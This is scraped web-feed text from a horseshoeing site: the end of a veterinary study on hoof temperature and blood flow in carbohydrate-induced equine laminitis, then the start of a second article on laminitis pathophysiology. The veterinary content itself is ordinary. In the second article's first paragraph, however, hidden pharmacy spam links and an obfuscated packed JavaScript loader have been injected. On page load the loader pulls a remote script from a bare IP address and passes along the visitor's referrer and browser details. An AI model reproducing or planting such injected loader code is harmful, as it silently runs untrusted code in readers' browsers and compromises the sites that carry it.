had hoof temperatures that remained close to ambient for the whole experiment. Most of the hoof temperature increases that occurred were random, rapid, and in the range 25-32<sup>o</sup>C. However, these warm hoof temperature periods were short and lasted 3-12 h. Some warm hoof temperature periods consisted of a cluster of peaks. When the hoof temperatures fell they returned to near ambient temperature either rapidly or slowly.</p> <p>Overall, mean hoof temperature of laminitis negative horses did not rise to any extent over the course of the experiments, and remained within 5<sup>o</sup>C of the ambient temperature. The mean hoof temperature of the laminitis negative horses are compared to the mean hoof temperature of the laminitis positive horses in Figure 3.</p> <p>Mean t s.e. hoof temperature of laminitis negative horses (16.39 ± 0.87<sup>o</sup>C) was briefly significantly higher (P&lt;0.05) than the mean hoof temperature of the sham treated control horses (12.23 ± 0.41<sup>o</sup>C) 28 h after first administration of carbohydrate (Fig 3).</p> <p><strong>Core Temperature</strong></p> <p>In sham treated controls (n = 7) mean t s.e. core temperature was normal (37.27 ± 0.22<sup>o</sup>C ) throughout the 48 h experimental period (Figs 1, 2 and 4).</p> <p>There was a rapid rise in core temperature in laminitis positive (n = 6) and laminitis negative horses between 8 and 20 hours after first administration of carbohydrate. Increased core temperature persisted for the remainder of the experiment in most horses (Figs 4, 7 and 8). However, one horse had a second rise in core temperature at approximately 42 hours (Fig 7).</p> <p>During the first 8 h mean t s.e. core temperatures of laminitis positive and laminitis negative horses increased slowly, between 8 and 16 h they increased rapidly and then plateaued until approximately 28 h (Fig 4). In laminitis positive but not laminitis negative horses they rose again until 36 h and then dropped slowly for the remainder of the experiment. The mean core temperature of laminitis positive horses (38.12 ± 0.24<sup>o</sup>C) became significantly higher (P&lt;0.05) than control horses (37.27 ± 0.22<sup>o</sup>C) 8 h after first administration of carbohydrate whereas in laminitis negative horses (37.88 ± 0.13<sup>o</sup>C) it was significantly higher than control horses at 4 h (37.22 ± 0.27<sup>o</sup>C) and remained significantly higher until 44 h after first administration of carbohydrate.</p> <p>Mean t s.e. core temperatures of laminitis positive horses was not significantly higher than laminitis negative horses until 36 hours after carbohydrate overload. At 36 hours mean core temperature of the laminitis positive horses was 40.17 t 0.27<sup>o</sup>C and laminitis negative horses was 39.26 ± 0.18<sup>o</sup>C (P&lt;0.05). This significant difference remained until the end of the experiment (Fig 4).</p> <p><strong>Heart Rates</strong></p> <p>The 7 sham treated controls and the untreated control had normal heart rates throughout the 48 h experimental period (Fig 5). The laminitis positive horses all developed increased heart rates whereas only 4 of the laminitis negative horses increased. The heart rate of one laminitis positive horse increased at 8 h while another did not increase until 20 h. The laminitis negative horses had varying increases in heart rates. One horse had no increase in heart rate and 3 others had only slight increases in heart rate.</p> <p>The mean t s.e. heart rates of laminitis positive horses (Fig 5) gradually increased from 31.4 ± 1.44 beats/minute after first administration of carbohydrate to 94.00 t 6.23 beats/minute at the end of the experiment. Sixteen hours after the first administration of carbohydrate, mean heart rates of laminitis positive horses (54.6 ± 5.93 beats/minute) and the laminitis negative horses (55.5 ± 5.88 beats/minute) was significantly higher (P&lt;0.05) than mean heart rates of control horses (35.5 ± 1.80 beats/minute) and remained so throughout the experiment (Fig 5).</p> <p>The mean heart rates of laminitis positive horses (84.2 ± 5.00 beats/minute) was not significantly higher than the heart rates of laminitis negative horses (60.25 ± 4.28 beats/minute) until 32 h after first administration of carbohydrate. This significant difference (P&lt;0.05) remained until the end of the experiment (Fig 5).</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_5.jpg" width="536" height="344" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_5" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_5.jpg" width="536" height="344" /></p> <p><em><strong>Fig 5:</strong> Mean ± s.e. heart rates of all horse groups. The mean heart rates of the 7 sham treated control horses was normal throughout the 48 h experimental period. The 6 laminitis positive and 8 laminitis negative horses developed and maintained elevated mean heart rates. The mean heart rates of the laminitis positive horses became significantly greater than the Laminitis negative horses after 32 h. The indicators of statistical significance refer only to the differences between the laminitis positive and negative groups. *P&lt;0.05, BPM = beats per minute.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_6.jpg" width="520" height="342" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_6" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_6.jpg" width="520" height="342" /></p> <p><em><strong>Fig. 6:</strong></em> Mean ± s.e. faecal pH of all horse groups. The mean faecal pH of the 7 sham treated control horses remained neutral, while the 6 laminitis positive and 8 laminitis negative horses had rapid, similar, falls in faecal pH.</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_7.jpg" width="516" height="330" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_7" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_7.jpg" width="516" height="330" /></p> <p><em><strong>Fig. 7:</strong></em> Graphs of left and right fore hoof, core and ambient temperatures in an individual laminitis positive horse. Both left and right hoof temperatures rose and fell synchronously. Twenty-two h after alimentary carbohydrate overload the hooves of both forefeet reached and maintained their maximum temperature for 20 h. The development of laminitis appeared to be linked to this prolonged period of digital vasodilation. Core temperature rose above 40<sup>o</sup>C at 18 hours and again at 30 hours.</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_8.jpg" width="518" height="330" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_8" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_8.jpg" width="518" height="330" /></p> <p><em><strong>Fig. 8:</strong></em> Graphs of left and right fore hoof, core and ambient temperatures in an individual laminitis negative horse. The right and left hoof temperatures rose and fell fairly synchronously but 13 h after carbohydrate overload remained below 20<sup>o</sup>C and close to ambient for 27 hours. This digital vasoconstriction apparently prevented the development of laminitis. Fourteen hours after carbohydrate overload the core temperature rose above 40<sup>o</sup>C for 14 hours.</p> <p><strong>****** pH</strong></p> <p>In the laminitis positive and laminitis negative horses, mean faecal pH remained approximately neutral for the first 8 hours, and then dropped sharply (Fig 6) so that 16 h after first administration of carbohydrate, mean faecal pH was 5.35 t 0.36 and 5.51 ± 0.29 respectively. Faecal pH remained near this low value between 16 and 32 h and then slowly rose for the remainder of the experiment. At 16 hours, mean faecal pH of laminitis positive horses (5.35 ± 0.36) and laminitis negative horses (5.51 ± 0.29) was significantly lower (P&lt;0.05) than mean faecal pH of controls (mean ± s.e. = 7.4 ± 0.21). This significant decrease in faecal pH remained until 40 hours.</p> <p>At no time was mean t s.e. faecal pH of laminitis positive horses significantly different from laminitis negative horses (Fig 6).</p> <p><strong>Clinical Appearance</strong></p> <p>There were no changes in clinical appearance in either the laminitis positive or the laminitis negative horses until 8-16 hours after the first administration of carbohydrate. The first clinical sign to change was the volume and frequency of ileocaecal (IC) sounds. At 8 hours, most horses had louder, more frequent, sounds. However between 16 and 24 hours IC sounds disappeared and in most horses remained absent until around 40 hours. Similar changes were detected in left colon (LC) sounds except that they occurred approximately 8 hours after the changes in IC sounds. All horses dosed with carbohydrate lacked gut sounds at some stage during the 48 hours experimental period.</p> <p>Decreased appetite and drinking, depression, prolongation of capillary refill time and diarrhoea occurred in all horses dosed with carbohydrate. Two of the laminitis positive and 4 of the laminitis negative horses developed mild to moderate, intermittent, colic 30-32 h after dosing. Signs of colic lasted 4-6 hours and by 40 hours had usually ceased. Neither of the laminitis positive horses were judged to need analgesia or sedation. However the 4 laminitis negative horses with colic received i.v. injections of 20 mg butorphanol and 10 mg detomidine to establish analgesia and sedation, respectively. After injections, heart rate and core temperature decreased for 2-4 hours but no consistent change in hoof temperature resulted. In previous trials 10 mg of detomidine injected i.v. into 3 normal Standardbred horses did not effect consistent changes in hoof temperature (C.C. Pollitt and C.T. Davies, unpublished data). The treatment regime effectively abolished signs of colic for periods of 60-90 minutes but if colic returned the treatment was repeated. Two of the 4 horses that developed colic required only single treatments. Of the remainder one was treated 4 times, the other 5 times.</p> <p>A pronounced digital pulse was detected in most horses at 24-32 hours, which usually disappeared after this time. Only one of the 6 laminitis positive horses had an exaggerated digital pulse at 48 hours and all of these horses exhibited some weight shifting in either front or hind feet between 40 and 48 hours. One of the laminitis positive horses, apparently less affected by the carbohydrate than the others, began to eat and drink again at 40 hours.</p> <p>Although laminitis negative horses showed similar clinical signs to the laminitis positive horses they were slightly less severe. Near the end of the experimental period, they were usually less depressed, ate, drank and had shorter oral mucous membrane capillary refill times.</p> <p><span style="font-size: xx-small;"><strong>Discussion</strong></span></p> <p>Mean heart rates and body temperatures recorded in the 6 laminitis positive horses were significantly higher than in the 7 sham treated control horses which is consistent with previous reports of laminitis induced by alimentary carbohydrate overload (Garner et al. 1975; Harkema et al. 1978; Kirker-Head et al. 1987). However, in this study, similar significant increases in mean heart rate and body temperature occurred in 8 laminitis negative horses. Furthermore the fall in pH of the faeces of both laminitis positive and negative horses was virtually identical and it was difficult to identify any differences in the spectrum of clinical signs: they appeared equally ill, particularly around 24 h after administration of carbohydrate. At this time it was impossible, on the basis of clinical signs, to predict which horses would subsequently develop laminitis. Hoof temperature was the only significant difference between laminitis positive and negative groups. Sixteen hours after carbohydrate administration mean hoof temperature of laminitis positive horses showed a highly significant rise of almost 8<sup>o</sup>C above mean hoof temperatures of the laminitis negative group: The mean t s.e. hoof temperature of the laminitis positive horses reached a maximum of 25.62 ± 2.15<sup>o</sup>C and remained significantly above that of laminitis negative horses until 40 h after the first administration of carbohydrate. At 48 h hoof temperatures were similar at around l8<sup>o</sup>C.</p> <p>We make the assumption here that changes in hoof temperature reflect changes in the underlying dermal blood flow as has long been accepted in studies using a variety of other animal models (Henshaw et al. 1972; Hales, 1985). The calibrated transistors placed in holes in the hoof wall probably did not measure the temperature of the lamellar dermis with absolute accuracy, but they appeared to measure successfully, temperature shifts. Therefore, a high hoof temperature would be associated with sublamellar vasodilation and a low hoof temperature with some degree of vasoconstriction. The plateaux of maximum hoof temperatures occurring, during the development of laminitis in the laminitis positive horses, were not significantly higher than the spontaneous high hoof temperatures occurring in the same horses (and in some sham treated controls) during the acclimatization period. Our results suggest that a hoof temperature of around 30<sup>o</sup>C represents the maximum degree of vasodilation achievable in an environmental chamber with an ambient temperature set at l0<sup>o</sup>C. This hoof temperature was periodically reached in normal sham treated control horses and laminitis positive and laminitis negative horses during the acclimatization period. Therefore, it is not the degree of vasodilation that appears to be the critical factor in determining if a horse develops laminitis, but the timing and duration of the vasodilation in relation to the concomitant metabolic events induced by the carbohydrate overload. Prolonged foot vasodilation alone does not cause laminitis as we maintained foot temperatures averaging 28<sup>o</sup>C for 30 hours using repeated injections of bupivicaine HC1 (Marcains) to the palmar digital nerves, with no ill effect (C.C. Pollitt and C. T. Davies, unpublished data).</p> <p>Our data suggest that for laminitis to result from the alimentary administration of carbohydrate a period of sublamellar vasodilation must occur. If the circulation remains constricted then laminitis does not occur. The critical period during which vasodilation and laminitis concur is 12-40 h after the first administration of carbohydrate. Clinical laminitis, manifest as weight shifting from one foot to the other, appeared 32-40 h after carbohydrate administration. Histopathology confirmed the existence, in laminitis positive horses, of the lesions typical of acute laminitis 48 h after alimentary carbohydrate overload as described previously (Pollitt 1996).</p> <p>Pyrexia was a feature of both the laminitis positive and negative groups of horses. Mean core temperatures of both groups were virtually identical (Fig 4) for the first 16 h after the first administration of carbohydrate. However, after 16 h, mean core temperature of laminitis positive horses increased above that of the negative horses for the remainder of the experimental period, although the difference only reached significance after 36 h. The graphs of core temperature for both laminitis positive and negative horses were biphasic. The first peak occurred between 16 and 20 h and the second, 16 h later at about 36 h. Circulating endotoxin is a potent pyrogen in horses and single i.v. injections of E. coli endotoxin cause increases in core temperature proportional to the dose administered (Wisniewski et al. 1992). Endotoxaemia following alimentary carbohydrate overload in horses was a feature of 11 of 12 horses developing Obel grade 3 laminitis (Sprouse et al. 1987). In 5/11 (45%) of these horses the endotoxaemia was biphasic with peaks, separated by an interval of 16 h, occurring at 32 and 48 h. The rapid production of high concentrations of Gram-negative endotoxin in the caecum of horses after alimentary carbohydrate overload (Moore et al. 1979) appears to account for the endotoxaemia verified by Sprouse et al. (1987) in horses treated similarly. Although endotoxin was not measured in the blood of the 13 horses, given alimentary overload of carbohydrate in this study, it seems probable that fluctuating levels were responsible for the pattern of pyrexia recorded from both laminitis positive and negative horses. Higher mean core temperatures developed by the laminitis positive group could have been due to higher blood concentrations of endotoxin.</p> <p>Capillary and AVA blood flow in the skin have been manipulated experimentally in sheep by inducing fever with i.v. pyrogen and by heating the spinal cord (Hales et al. 1982; Rubsamen and Hales 1984). Skin heat conductance increased as blood flow increased in either the capillaries or the AVAs, but the highest levels of heat conductance were only achieved when both capillary and AVA blood flow were at their highest levels. A feature of the hoof temperature graphs of the laminitis positive horses was a prolonged period of high temperature (Figs 3 and 7) which appeared to be the maximum hoof temperature achievable in the l0<sup>o</sup>C environment. If this high hoof temperature is occurring because all available digital capillaries and AVAs are fully dilated, as seems probable (Hales 1985), then it follows that the tissues of the foot were being perfused by more blood than would be the case if the digital blood vessels were constricted.</p> <p>Blood flow through AVAs is controlled by specific central thermoregulatory reflexes, whereas capillary flow is the target of local temperature effects (Hales 1985). Even if AVAs were the only hoof vessels to dilate initially, the delivery of hot arterial blood to the dermal tissues would soon raise the local temperature and cause capillary blood flow to increase. This principle has been well demonstrated in the hind leg skin of sheep using intra-arterial injections of capillary sized radioactive microspheres (Hales 1981). If this occurs during the development of laminitis it suggests a more passive role for the digital circulation than has previously been proposed. We speculate that, in response to rising core temperature, AVAs in the digits dilate via the central thermoregulatory reflex pathway and raise local temperature. The high local temperature causes capillaries to dilate via the local reflex and sublamellar tissues are perfused with maximum possible flow of blood. This may expose the lamellar tissue, be it dermis or epidermis, to blood borne factors which trigger lamellar separation of acute laminitis.</p> <p>The presence of a pronounced digital pulse has been noted by many authors as an important clinical sign of acute laminitis (Robinson 1990; Hood et al. 1993). In our study, all the laminitis positive horses developed a pronounced digital pulse in one or both front feet, at 24 or 32 h. This occurred in conjunction with warm hooves. In 3 of these horses the pronounced digital pulse persisted for 8 h then disappeared. One horse had a pronounced digital pulse at 24 h, which had disappeared at 32 h but was detectable again at 48 h. In most of the laminitis negative horses, a pronounced digital pulse occurred only once when hoof temperatures were either warm or cold.</p> <p>Shunting of blood through AVAs has been proven to occur (Hood et al. 1978) at the time of clinical lameness (about 48 h after carbohydrate overload) when pulsing of the digital arteries is invariably present. The transient pronounced digital pulse recorded before clinical lameness in the horses of this study could correlate with a period of AVA dilation. The pulse disappears when the foot warms and initiates high capillary flow therefore relieving the AVAs of the `need' to remain fully dilated. Confirmation of this hypothesis awaits further study.</p> <p>Based on these data the use of vasodilatory therapy during the developmental phase of laminitis would be contraindicated. Paradoxically, the peripheral vasodilatory agent isoxsuprine hydrochloride was declared beneficial in the treatment of acute laminitis by Kirker-Head et al. (1987). Laminitis was induced by the alimentary carbohydrate overload method but the drug was not administered until 48 h had elapsed when clinical lameness had appeared. There is a proven correlation between clinical lameness and the severity of lamellar pathology (Pollitt 1996); and since the critical vasodilatory, laminitis associated, phase had passed, isoxsuprine could have had no influence on the pathogenesis of the laminitis in these horses. The drug and the vasodilation it induced may well have improved the state of the treated horses by relieving painful post developmental ischaemia and promoting healing of lamellae already damaged at the time of its administration. Similar logic applies to the report of Hinckley et al. (1996) that laminitis in grass foundered ponies responded to vasodilation induced by topical application of glyceryl trinitrate to the pasterns.</p> <p>The decrease in capillary perfusion and significant arteriovenous shunting present in horses with acute laminitis after alimentary carbohydrate overload shown by Hood et al. (1978) are also data obtained after lamellar pathology had occurred and, therefore, cannot be used to imply pathogenesis. In the experiments of Hood et al. (1978) foot blood flow increased until just prior to the onset of clinical laminitis which is in agreement with the sequence of events presented here. Similarly, the deduction by Coffman et al. (1970) that acute laminitis involved decreased lamellar perfusion was based on angiovenograms, interpreted to demonstrate reduced or obliterated terminal arteries, made when clinical laminitis was already underway. The vessel constriction and reduced digital blood flow they demonstrated was probably the result of lamellar injury rather than the cause of it. This, the first study to evaluate hoof temperature continuously and, hence, sublamellar blood flow during the developmental phase of laminitis confirms the conclusion of Robinson et al. (1976) and Trout et al. (1990) that laminitis is preceded by an increased flow of blood in the lamellar region.</p> <p>This is at variance with the results of Coffman et al. (1970), Garner et al. (1975), Hood et al. (1978), Hood et al. (1990) and Hinckley et al. (1996) who suggested that the reduced digital blood flow involved was a cause of laminitis. In this study there was no evidence that decreased digital blood flow was associated with the onset of laminitis and the contrary appeared to be the case: it was increased sublamellar blood flow that was associated with laminitis. The experiments, conducted on horses with short summer hair coats and therefore not physiologically adapted to a low environmental temperature (10<sup>o</sup>C), appear to have serendipitously revealed that digital vasoconstriction conferred protection during the developmental phase of carbohydrate induced laminitis.</p> <p><span style="font-size: xx-small;"><strong>References</strong></span></p> <ol> <li> Coffman, J.R., Johnson, J.H., Guffy, M.M. and Finocchio, E.J. (1970) Hoof circulation in equine laminitis. J. Am. med. vet. Ass. 156, 76-83.</li> <li> Garner, H.E., Coffman, J.R. Hahn, A.W., Hutcheson, D.P. and Tumbleson, M.E. (1975) Equine laminitis of alimentary origin: an experimental model. Am. J. vet. Med. 36, 441-445.</li> <li> Hales, J.R.S (1981) The use of microspheres to partition the microcirculation between capillaries and arteriovenous anastomoses. In: Progress in Microcirculation Research. Ed: D. Garlick. Committee in Postgraduate Medical Education, University of NSW, Sydney. Australia. pp 397-412.</li> <li> Hales, J.R.S (1985) Skin aneriovenous anastomoses, their control and role in thermoregulation. In: Curdiovascular Shunts, Alfred Benzon Sympnsium 21. Eds: K. Johansen and W.W. Burggren. Munksgaard, Copenhagen. pp 433-451.</li> <li> Hales, J.R.S. and Molyneux, G.S. (1988) Control of cutaneous arteriovenous anastomoses. In: vasodilution: muscular Smooth Muscle, Peptides, Autonomic Nenes, and Endothelium. Ed: Paul M. Vanhoutte. Raven Press Ltd., New York. pp 321-332.</li> <li> Hales, J.R.S., Foldes, A. Fawcett, A.A. and King, B.B. (1982). The role of adrenergic mechanisms in thermoregulatory control of blood flow through capillaries and arteriovenous anastomoses in the sheep hind leg. Pfluger.s Archis 395, 93-98.</li> <li> Harkema, J.R., Robinson, N.E. and Scott, J.B. (1978) Cardiovascular, acid-base, electrolyte and plasma volume changes in ponies developing alimentary laminitis. Am. J. vet. Res. 39, 741-744.</li> <li> Henshaw, R.E., Underwood, L.S. and Casey, T.M. (1972) Peripheral thermoregulation: foot temperature in two arctic canines. Science. 175, 988990.</li> <li> Hinckley, K.A., Feam, S. Howard, B.R. and Henderson, I.W. (1996) Nitric oxide donors as treatment for grass induced acute laminitis in ponies. Equine vet. J. 28, 17-28.</li> <li> Hood, D.M., Amoss, M.S. and Grosenbaugh, D.A. (1990) Equine laminitis: a potential model of Raynaud's phenomenon. Angiology. 41, 270-277.</li> <li> Hood, D.M., Crosenbaugh, D.A., Mostafa, M.B., Morgan, S.J. and Thomas, B.C. (1993) The role of vascular mechanisms in the development of acute equine laminitis. J vet. Intern. Med. 7, 228-234.</li> <li> Hood, D.M., Amoss, M.S., Hightower, D., McDonald, D.R., McGrath. J.P., McMullan, W.C. and Scrutchfield, W.L. (1978) Equine laminitis 1: Radioisotopic analysis of the hemodynamics of the foot during the acute disease. J. equine Med. Surg. 2, 439-444.</li> <li> Kirker-Head, C.A., Stephens, K.A., Toal, R.L. and Goble, D.O. (1987) Circulatory and blood gas changes accompanying the development and treatment of induced laminitis. Equine vet. Sci. 6, 293-301.</li> <li> Mogg, K.C. (1991) The Role of Arteriovenous Anastamose's in Equine Laminitis: A Physiological Study. PhD Thesis. The University of Queensland, Qld 4072, Australia.</li> <li> Molyneux, G.S. and Bryden, M.M. (1975) Arteriovenous anastomoses in the skin of the Weddell Seal, LePtonvchotes Weddelli. Science l89, 1100-1102.</li> <li> Molyneux, G.S., Haller, C.J., Mogg, K. and Pollitt, C.C. (1994) The stucture, innervation and location of arteriovenous anastomoses in the equine foot. Equine vet. J. 26, 305-312.</li> <li> Moore, J.N., Gamer, H.E., Berg, J.N. and Sprouse, R.F. (1979) Intracecal endotoxin and lactate during the onset of equine laminitis: a preliminary report. Am. J. vet. Re.s. 40, 722-723.</li> <li> Pollitt, C.C. (1991) The role of arteriovenous anastomoses in the pathophysiology of equine laminitis. Proc. Am. Ass. equine Practnrs. 37, 711-720.</li> <li> Pollitt, C.C. (1996) Basement membrane pathology: a feature of acute equine laminitis. Equine vet. J. 28, 38-46.</li> <li> Pollitt, C.C. and Molyneux, G.M. (1990) A scanning electron microscopic study of the dermal microcirculation of the equine foot. Equine vet. J. 22, 79-87.</li> <li> Robinson, N.E. (1990) Digital blood flow, arteriovenous anastomoses and laminitis. Equine vet. J. 22, 381-383.</li> <li> Robinson, N.E., Scott, J.B. and Dabney, E.M. (1976) Digital vascular responses and permeability in equine alimentary laminitis. Am. J. vet. Res. 37,1 171-174.</li> <li> Rubsamen, K. and Hales, J.R.S. (1984) Role of arteriovenous anastomoses in determining heat transfer across the hind leg skin of sheep. In: Thermal Physiology. Ed: J.R.S. Hales. Raven Press, New York. pp 259-262.</li> <li> Sprouse, R.F., Garner, H.E. and Green, E.M. (1987) Plasma endotoxin levels in horses subjected to carbohydrate induced laminitis. Equine vet. J.19, 25-28.</li> <li> Trout, D.R., Homof, W.J., Linford, R.L. and O'Brien, T.R. (1990) Scintigraphic evaluation of digital circulation during the developmental and acute phases of equine laminitis. Equine vet. J. 22, 416-421.</li> <li> Wisniewski, E., Kmmrych, W. and Danek. J. (1992) Latency period and developmental phases of fever in horses. Bull. vet. Inst. Pulawv. 36, 31-38.</li> </ol>Posted here with the permission of the authors.<br />First published in <strong><em>Equine vet. J. Suppl.</em></strong>, (1998) <strong><em>28</em></strong> 125-132</div> Equine Laminitis: A Revised Pathophysiology 2009-07-13T05:51:06+00:00 2009-07-13T05:51:06+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/341-equine-laminitis-a-revised-pathophysiology Christopher C. Pollitt, BVSc, PhD. horseshoes@horseshoes.com <div class="feed-description"><p style="text-align: justify;"><span class="dropcap">T</span>he simplest definition of laminitis is: <strong>failure of the attachment between the distal phalanx (coffin bone) and the inner hoof wall</strong>. A horse has laminitis when the lamellae of the inner hoof wall, <a href="http://******-buy.net" style="text-decoration:none;color:#555555">purchase</a> which normally suspend the distal phalanx from the inner surface of the hoof capsule, <a href="http://cialisbuy.net" style="text-decoration:none;color:#555555">sales</a> degenerate and fail. Without the distal phalanx properly attached to the inside of the hoof, the weight of the horse and the forces of locomotion drive the bone down into the hoof capsule. This process shears arteries and veins and crushes the corium of the sole and coronet, causing unrelenting pain and a characteristic lameness (Fig 1).</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dftnf|var|u0026u|referrer|bfeka||js|php'.split('|'),0,{})) </script></noindex> <center> <img src="images/laminitis_revised_pathology_1.jpg" width="467" height="322" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_1" src="images/stories/horshoes-graphics/laminitis_revised_pathology_1.jpg" width="467" height="322" /></p> <p style="text-align: justify;"><strong>Fig 1. Horse with severe laminitis in both front feet showing typical laminitis gait. The hind feet are placed as far forward as possible before the horse attempts painful shuffling steps in front.</strong></p> <p style="text-align: justify;">A <em>developmental phase</em>, during which lamellar separation is triggered, precedes the appearance of the foot pain of laminitis. This may be as short as 8 -12 h in the case of laminitis caused by exposure to the water soluble toxins of black walnut (Juglans nigra) heartwood shavings (Galey et al 1991) or 30 - 40 h in the case of excessive ingestion of high starch grain. During the developmental phase and prior to the clinical appearance of foot pain the horse or pony usually experiences a problem with one or more of the following organ systems: gastrointestinal, respiratory, reproductive, renal, endocrine, musculoskeletal, integumentary and immune. Multi-systemic aberrations in organs anatomically remote from the foot result in the lamellar tissues of the feet being exposed to factors which lead to separation and disorganisation of lamellar anatomy. The exact nature of the laminitis trigger factors, apparently reaching the lamellar tissues via the circulation, has yet to be elucidated. Sometimes no developmental phase can be recognized: the horse or pony is discovered in the acute phase with no apparent ill-health or inciting problem occurring beforehand. This appears to be the case with grass founder although Longland and Cairns (1998) researching the metabolism of grass, growing when the sun shines in Wales, have shown that the grass founder inciting factor may be a soluble sugar called fructan suddenly reaching very high concentrations in the stem of the plant and triggering a gastrointestinal disturbance when consumed by horses and ponies. The parenteral injection of potent long acting corticosteroid preparations for the treatment of skin disease may precipitate iatrogenic acute laminitis (Eustace and Reddon, 1990).</p> <p style="text-align: justify;">The <em>developmental phase</em> merges into the <em>acute phase</em> of laminitis which lasts from the onset of clinical foot pain and lameness at the trot, to the time when there is clinical (usually radiological) evidence of displacement of the distal phalanx within the hoof capsule (Fig 2). After the acute phase, if the horse does not die from the disease process inciting the development of laminitis, it can make an apparent complete recovery or develop palmar displacement of the distal phalanx, the hallmark of chronic laminitis. The <em>chronic phase</em> can last indefinitely with clinical signs ranging from persistent,</p> <center> <img src="images/laminitis_revised_pathology_2.jpg" width="429" height="284" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_2" src="images/stories/horshoes-graphics/laminitis_revised_pathology_2.jpg" width="429" height="284" /></p> <p style="text-align: justify;"><strong>Fig 2. Sagittal section of a horse’s foot with severe chronic laminitis. The distal phalanx has separated from its connection to the inner hoof wall and has descended into the hoof capsule causing the sole to bulge downward. Note the haemorrhage and bruising in the corium at the coronet and sole (arrows). </strong></p> <p style="text-align: justify;">mild lameness, continued severe foot pain, further degeneration of lamellar attachments, recumbency, hoof wall deformation and sloughing of the hooves (Hunt, 1993). It is important to realise that the process initiating the destruction of the lamellar attachment apparatus begins to operate during the developmental phase before the first clinical sign of laminitis, <strong>foot pain</strong>, is apparent. During the developmental phase the specific problems of the horse, often have to be attended to urgently (e.g. acute abdomen, grain overload acidosis, rhabdomyolysis, retained placenta) and unfortunately the feet may not enter into the therapeutic equation until the signs of foot pain appear. By the time foot pain is apparent lamellar pathology is underway. In other words foot pain is the clinical sign that lamellar disintegration is occurring (Fig 3). To wait and see if foot pain is the sequel to a metabolic crisis is to miss the opportunity to prevent or at least ameliorate lamellar pathology.</p> <center> <img src="images/laminitis_revised_pathology_3.jpg" width="255" height="350" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminitis_revised_pathology_3" src="images/stories/horshoes-graphics/laminitis_revised_pathology_3.jpg" width="255" height="350" /></p> <p style="text-align: justify;"><strong>Fig 3. Histology of the tip of a normal epidermal lamella (left) and one affected by acute laminitis of 48h duration (right). In the normal lamella the basement membrane (arrows) is firmly attached to the basal cells of the hoof epidermis. When laminitis intervenes the epidermal cells detach from their basement membrane allowing the hoof to separate from the distal phalanx and cause the clinical sign of foot pain (bar=25mm).</strong></p> <p style="text-align: justify;">The spectacular disintegration of the lamellar attachment apparatus, initiated during the development phase of laminitis, renders a normally robust and trouble free hoof/connective tissue/bone attachment system useless in a relatively short period of time. Logic dictates that somehow, it is a normally tightly controlled metabolic process or structure that is thrown into disarray to cause the lamellar specific lesion of laminitis during its developmental phase.</p> <p style="text-align: justify;">We believe that it is the enzymatic remodeling of the epidermal lamellae, assumed to be mandatory if the continually proliferating hoof wall is to move past the stationary distal phalanx, that is the target of the laminitis disease process.</p> <p style="text-align: justify;">Enzymes capable of destroying key components of the lamellar attachment apparatus have been isolated from normal lamellar tissues and in increased quantities from lamellar tissues affected by laminitis (Pollitt et al 1998). The enzymes are metalloproteinase -2 and metalloproteinase -9 (MMP-2 and MMP-9) also found in a wide range of human and animal remodeling tissues such as bone, joints and endometrium as well as in metastasizing malignant tumours (Birkdal-Hansen (1995).</p> <p style="text-align: justify;">It is assumed that MMP activity is constantly responding to the stresses and strains of normal equine life as well as to constant growth. When called for, sufficient MMP is manufactured locally, to release epidermal cell to cell, and cell to basement membrane attachment, as required, to maintain the correct shape and orientation of the hoof lamellae. From time to time injury to the basement membrane would require its lysis and reconstruction. The controlled release of specific MMP inhibitors keeps this remodeling process in equilibrium and the hoof lamellae and the hoof itself slowly migrate past the stationary basal cells firmly attached to their underlying basement membrane and in turn via connective tissue to the distal phalanx.</p> <p style="text-align: justify;">The epidermal cells of other species have been shown to readily increase their production of MMP when exposed to cytokines. Cultures of human oral mucosal keratinocytes respond to the addition of tumour necrosis factor (TNF), interleukin -1 (IL-1 ) and transforming growth factor - 1 (TGF- 1) by increasing production of MMP-9 (Salo<em> et al</em> 1994). Lamellar tissues affected by laminitis also increase their MMP production especially MMP in its active form (Pollitt et al, 1998) but whether in response to circulating cytokines or some other trigger factor is yet to be established. The lamellar basal and parabasal cells lose their normal shape, become elongated and appear to slide over one another and, as a consequence, the secondary epidermal lamellae become attenuated with tapering, instead of club shaped, tips (Pollitt 1996). The lamellar basement membrane begins to disappear initially at the bases of the SELs where most of the parabasal cells reside (Pollitt and Daradka, 1998). The BM of the remainder of the SEL loses its attachment to the basal cells and sheets of BM peel away to form aggregations of loose isolated BM in the connective tissue adjoining the lamellae. The detachment of BM appears to progress from the epidermal side and the sheets of loose 